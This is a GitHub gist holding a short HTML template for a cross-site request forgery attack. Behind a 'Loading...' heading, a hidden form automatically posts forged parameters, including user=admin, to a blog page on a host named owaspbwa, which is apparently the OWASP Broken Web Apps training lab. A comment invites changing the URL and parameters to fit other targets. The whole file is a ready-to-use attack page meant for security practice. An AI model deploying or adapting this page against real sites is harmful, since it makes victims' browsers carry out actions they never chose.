Skip to content

Instantly share code, notes, and snippets.

@jakekarnes42

jakekarnes42/simple_csrf_automatic.html

Created August 11, 2019 18:32
Show Gist options
  • Save jakekarnes42/a28035fbd47f3b87c5ae5bbb5ec1e79c to your computer and use it in GitHub Desktop.
Save jakekarnes42/a28035fbd47f3b87c5ae5bbb5ec1e79c to your computer and use it in GitHub Desktop.
Download ZIP
Simple CSRF template that submits a hidden form automatically
Raw
simple_csrf_automatic.html
<html>
<head>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script type="text/javascript">$(document).ready(function (){
setTimeout("$('#target').submit()", 3000);
});</script>
</head>
<body>
<h1>Loading...</h1>
<!–– Change URL and params below-->
<form id="target" method="POST" action="http://owaspbwa/ghost/blogView.php" style="visibility:hidden">
<input type="hidden" name="vuln" value="me so dumb"/>
<input type="hidden" name="user" value="admin"/>
<input type="submit" value="Submit">
</form>
</body>
<html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment